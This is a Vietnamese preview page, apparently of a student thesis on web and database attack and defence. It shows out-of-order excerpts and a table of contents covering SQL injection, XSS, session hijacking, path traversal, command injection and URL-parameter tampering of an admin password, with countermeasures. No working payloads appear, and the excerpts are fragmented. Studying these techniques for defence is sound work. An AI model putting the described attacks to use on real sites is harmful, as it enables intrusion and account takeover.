hướng dẫn : Trần Thị Xuyên Tấn công và phòng thủ ,ứng dụng Web & Database Chương 3: GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB I: KIỂM SOÁT TRUY NHẬP WEB (WEB ACCESS CONTROL) I.1 Thâm nhập qua cửa sau (BACK DOOR) Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài một “cửa sau” (back door) để sau này có thể thâm nhập vào hệ... Thị Xuyên Tấn công và phòng thủ ,ứng dụng Web & Database Chương 6 CHÈN CÂU TRUY VẤN SQL Nội dung: I: Khái niệm SQL Injection II : Giới thiệu mô hình cơ sở dữ liệu III: Các cách tấn công IV: Các cách phòng chống 32 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công và phòng thủ ,ứng dụng Web & Database I KHÁI NIỆM SQL INJECTION SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình Web về phần... Thị Xuyên Tấn công và phòng thủ ,ứng dụng Web & Database I KĨ THUẬT TẤN CÔNG CROSS SITE SCRIPTING (XSS) Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web để từ đó chúng được chạy như là một phần của ứng dụng Web và có chức... lập trình sử dụng để minh họa trong chương này là ASP với cơ sở dữ liệu là SQL Server 33 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công và phòng thủ ,ứng dụng Web & Database III CÁC CÁCH TẤN CÔNG III.1 Kĩ thuật tấn công SQL Injection SQL Injection là phương thức khai thác dựa vào quá trình trao đổi dữ liệu giữa người dùng và Web Application Việc ứng dụng không kiểm tra các giá trị đầu vào đẫn đến attacker... ‘1111111’ 35 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công và phòng thủ ,ứng dụng Web & Database I.2 MỘT SỐ BIỆN PHÁP KHẮC PHỤC Để chống lại kiểu thay đổi nội dung một chuỗi URL, ứng dụng có thể áp dụng biện pháp sau: • Ứng dụng sử dụng cơ chế bảng băm (hash table) Sau khi người dùng chứng thực thành công với một username , ứng dụng sẽ sinh ra một khoá tương ứng Khoá này sẽ được lưu trên server cùng với... rỗng 20 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công và phòng thủ ,ứng dụng Web & Database o Mã hóa URL o Lợi dụng truy xuất đường dẫn đến một tập tin o Ngôn ngữ phía trình chủ PHẦN THỨ HAI CÁC KĨ THUẬT TẤN CÔNG VÀ BẢO MẬT ỨNG DỤNG WEB &DATABASE 21 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công và phòng thủ ,ứng dụng Web & Database Chương 4: THAO TÁC TRÊN THAM SỐ TRUYỀN Thao tác trên tham số truyền... Thị Xuyên Tấn công và phòng thủ ,ứng dụng Web & Database Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì, trong ví dụ này là ‘1111111’ I.2 Một số biện pháp khắc phục Để chống lại kiểu thay đổi nội dung một chuỗi URL, ứng dụng có thể áp dụng biện pháp sau: - Ứng dụng sử dụng cơ chế bảng băm (hash table) Sau khi người dùng chứng thực thành công với một username , ứng dụng sẽ sinh... triển khai trên các trình chủ như IBM WebSphere, WebLogic, Apache, IIS… • Lớp dữ liệu: thường là các hệ quản trị dữ liệu (DBMS) chịu trách nhiệm quản lý các file dữ liệu và quyền sử dụng Mô hình hóa hoạt động của một ứng dụng Web: 12 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công và phòng thủ ,ứng dụng Web & Database Hình 2 : Mô hình hoạt động của một ứng dụng Web Trong đó: • Trình khách ( hay còn gọi ... Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Chương 1: GIỚI THIỆU ỨNG DỤNG WEB & DATABASE Luận văn thực nhằm tìm hiểu kĩ thuật công trang Web & Database đề cách phòng chống Do đó,... viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Nhận xét giáo viên Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Giới thiệu Ngày nay,... hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Mục lục hình vẽ Hình : Kiến trúc ứng dụng Web Database Trang 11 Hình : Mô hình hoạt động ứng dụng Web Trang 12 Hình 3:Quá

Ngày đăng: 05/03/2016, 15:16

Mục lục

  • Mục lục hình vẽ

  • Nhận xét giáo viên

  • CƠ SỞ LÝ THUYẾT

  • GIỚI THIỆU ỨNG DỤNG WEB & DATABASE

    • I .Khái niệm ứng dụng Web

    • II.Mô tả hoạt động của một ứng dụng Web

    • CÁC KHÁI NIỆM THUẬT NGỮ LIÊN QUAN

      • I:Hacker

      • GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB

        • I: KIỂM SOÁT TRUY NHẬP WEB (WEB ACCESS CONTROL)

        • I.1 Thâm nhập qua cửa sau (BACK DOOR)

          • II: CHIẾM HỮU PHIÊN LÀM VIỆC (SESSION MANGEMENT)

          • II.1 .Ấn định phiên làm việc (SESSION FIXATION)

          • II.2 Đánh cắp phiên làm việc (SESSION HIJACKING)

            • III: Lợi dụng lỗi trong việc kiểm tra nhập dữ liệu (INPUT VALIDATION)

            • III.1 Kiểm tra hợp lệ phía trình duyệt (CLIENT-SIDE VALIDATION)

            • III.2 Tràn bộ đệm ( BUFFER OVERFLOW)

            • III.3 Mã hóa URL (URL ENCODING)

            • III.4 Ký tự META( META CHARACTERS)

            • III.5 Vượt qua đường dẫn (PATH TRAVERSAL)

            • III.6 Chèn mã lệnh thực thi trình duyệt nạn nhân (CROSS-SITE SCRIPING)

            • III.7 Thêm câu lệnh hệ thống (OS COMMAND INJECTION)

            • III.8 Chèn câu truy vấn SQL (SQL INJECTION)

            • III.9 Ngôn ngữ phía máy chủ (SEVER SIDE INCLUDES)

            • III.10 Kí tự rỗng (NULL CHARACTERS)

Tài liệu cùng người dùng

Tài liệu liên quan